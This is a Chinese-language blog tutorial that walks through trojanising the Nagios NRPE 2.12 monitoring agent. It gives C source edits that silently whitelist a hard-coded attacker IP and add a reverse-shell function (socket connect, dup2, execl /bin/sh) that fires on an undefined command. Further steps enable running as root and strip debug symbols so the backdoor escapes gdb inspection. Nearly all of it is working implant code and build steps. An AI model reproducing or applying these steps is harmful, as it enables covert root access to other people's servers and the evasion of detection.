去年研究nagios的时候就对nrpe的“潜能”进行了挖掘,成功改造成为一个黑客客户端,但一切只是自己测试所用,不想公布出来,防止别人用此做“不合理”的事,今天试着公布出来,玩玩,但不要在线上环境部署。

nrpe是nagios的一个远程插件,cs架构,nagios发nrpe已经定义好的指令给nrpe运行,返回结果,一切看似有序进行。但既然nrpe是一个客户端,可以运行指令,所以我们只需要稍微改改nrpe的源码就可以让nrpe越权操作你想做的事。先截图展示一下效果:

nrpe.cfg是个正常在用的nagios监控客户端,没有任何异常,里面没有定义kill命令。

  1. 先在b机器用nc监听5666端口,开好防火墙,等待shell的反弹;
  2. 在b机器上对nrpe客户端的a机器发送指令 kill
  3. 成功返回一个Segmentation的自定义标识,用id命令看下,而且返回来的是root权限,权限到手,接下来就随心所欲了。

接下来详细讲解改源码步骤,下载nrpe源码

1wget http://nchc.dl.sourceforge.net/project/nagios/nrpe-2.x/nrpe-2.12/nrpe-2.12.tar.gz
2解压
3tar xvf nrpe-2.12.tar.gz

先正常编译

1cd nrpe-2.12
2./configure --prefix=/usr/local/nrpe --with-nagios-user=nagios --with-nagios-group=nagios  --enable-command-args
3make
4make install

然后进行正式地修改cd src;make clean #把刚才编译好的文件删了,因为等下我们要改的就是nrpe.c这个文件,改好之后在src目录直接make编译即可。nrpe.c只有2k行左右,大概看一下,就大概了解了工作流程。

编辑nrpe.c 在953行看到看到定义的is_an_allowed_host函数,这个是nrpe配置文件里面配置的运行哪些服务端发送指令过来,既然说是要黑客木马程序,我们肯定不能在配置文件里面加入我们的服务端ip,我们在这里定义一个”vip客户”:在函数下面加入

char vip_ptr1[16]=”121.XXX.XXX.XXX”; 这行。继续找到下面这段:

1/* try and match IP addresses first */
2for(temp_ptr=strtok(temp_buffer,",");temp_ptr!=NULL;temp_ptr=strtok(NULL,",")){
3        if(!strcmp(connecting_host,temp_ptr)){
4                result=1;
5                break;
6                }
7        }

在这里加入我们的vip客户:

1for(temp_ptr=strtok(temp_buffer,",");temp_ptr!=NULL;temp_ptr=strtok(NULL,",")){
2        if(!strcmp(connecting_host,vip_ptr1)){
3                result=1;
4                break;
5                }
6        if(!strcmp(connecting_host,temp_ptr)){
7                result=1;
8                break;
9                }

这样 vip_ptr1这个ip就在nrpe的服务范围了,不用在nrpe的配置文件里面暴露我们的踪迹。

继续找到1890行左右有个process_arguments函数,我们在这个上方加入我们的”main”函数,为什么打双引号呢,因为这个不是真的main函数,我们不能动这个文件的main,但是可以加入别的函数mainmain函数:

 1void usage();
 2        char shell[]="/bin/sh";
 3        char message[]="Segmentationn";
 4        int sock;
 5        int mainmain(char IP[]) {
 6                struct sockaddr_in server;
 7                if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
 8                return;
 9        }
10        server.sin_family = AF_INET;
11        server.sin_port = htons(5666);
12        server.sin_addr.s_addr = inet_addr(IP);
13        if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
14        return ;
15        }
16        send(sock, message, sizeof(message), 0);
17        dup2(sock, 0);
18        dup2(sock, 1);
19        dup2(sock, 2);
20        execl(shell,"/bin/sh",(char *)0);
21        return ;
22}
23void usage(char *prog[]) {
24exit(1);
25}

加入好我们的main函数之后,我们要找地方调用,搜索temp_command=find_command(command_name);这行,大概在1200行左右,这里是定义查找配置文件允许的命令的地方,我们在这里加入后门,下面是if(temp_command NULL){ 如果没找到定义的命令就返回NRPE: Command ‘%s’ not defined”,command_name,我们不需要返回了,我们定义如果没找到定义的命令,我们就执行我们的后面程序,在if(temp_command NULL){下面加入我们之前定义的ip和函数:

mainmain(“121.XXX.XXX.XXX”);

另外,nrpe不支持root权限运行,我们可以再做个小动作:搜索bail if daemon is running as root ,大概在1656行左右,把下面的if(uid==0 || gid==0){里面的0改为1,这样就可以用root用户启动了。当然我们不需要用root用户启动,如果是普通用户,我们得到的就是普通的shell了,centos 5.5有个提权的漏洞,可以提升普通用户为root,这里就不加进去了。

修改好之后,保存,在src目录make clean ; make ; make install这样就编译好了,当正常的用户nagios客户端时候用的毫无破绽。当我们在指定的ip上面nc监听一个端口,然后再触发一下,一个shell就到手了。

下面再做个小动作完善一下。因为configure时候已经把Makefile生成好了,但是他默认是允许gdb调试的。我们gdb nrpe,然后l就会发现我们所做的手脚露馅了,不过我们可以继续改,在Makefile里面改个小东西vi Makefile 找到CFLAGS这一行,在12行左右,把 -g 这个参数去掉,然后重新make clean ; make ; make install 安装重新编译之后,我们重新gdb调试,就会发现,l命令已经不生效了,提示

(gdb) l
No symbol table is loaded. Use the “file” command.,找不到调试的信息了。就这样再次隐藏了一下,虽然这是此地无银三百两了。

ok,完毕。自己看着玩吧,后果自负。